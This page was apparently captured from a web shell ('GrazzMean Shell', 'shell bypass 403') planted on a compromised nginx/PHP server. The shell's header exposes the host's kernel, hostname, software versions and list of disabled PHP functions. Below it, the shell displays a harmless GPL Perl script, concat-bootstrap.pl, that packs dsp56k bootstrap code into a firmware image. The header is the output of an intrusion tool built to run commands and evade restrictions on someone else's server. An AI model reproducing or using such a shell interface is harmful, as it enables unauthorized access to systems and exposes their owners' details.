shell bypass 403

GrazzMean Shell

: /lib/firmware/dsp56k/ [ drwxr-xr-x ]
Uname: Linux yisu-647059427c03a 3.10.0-862.14.4.el7.x86_64 #1 SMP Wed Sep 26 15:12:11 UTC 2018 x86_64
Software: nginx/1.22.1
PHP version: 7.3.31 [ PHP INFO ] PHP os: Linux
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passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv

name : concat-bootstrap.pl
# Postprocessor for dsp56k bootstrap code.
#
# Copyright Ben Hutchings 2011.
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.

use strict;
use warnings;

my @memory;
my %symbol;

# Reconstruct memory image and symbol table
while (<>) {
    if (/^P ([0-9A-F]{4}) ([0-9A-F]{6})\n/) {
	$memory[hex($1)] = hex($2);
    } elsif (/^I ([0-9A-F]{6}) (\w+)\n/) {
	$symbol{$2} = hex($1);
    } else {
	print STDERR "W: did not recognise line $.\n";
    }
}

# Concatenate first and second stage.  Second stage is assembled
# between 'upload' and 'upload_end', but initially loaded at
# 'real' (end of the first stage).
for (0 .. ($symbol{real} - 1), $symbol{upload} .. ($symbol{upload_end} - 1)) {
    my $word = $memory[$_] || 0;
    print pack('CCC', $word / 65536, ($word / 256) % 256, $word % 256);
}
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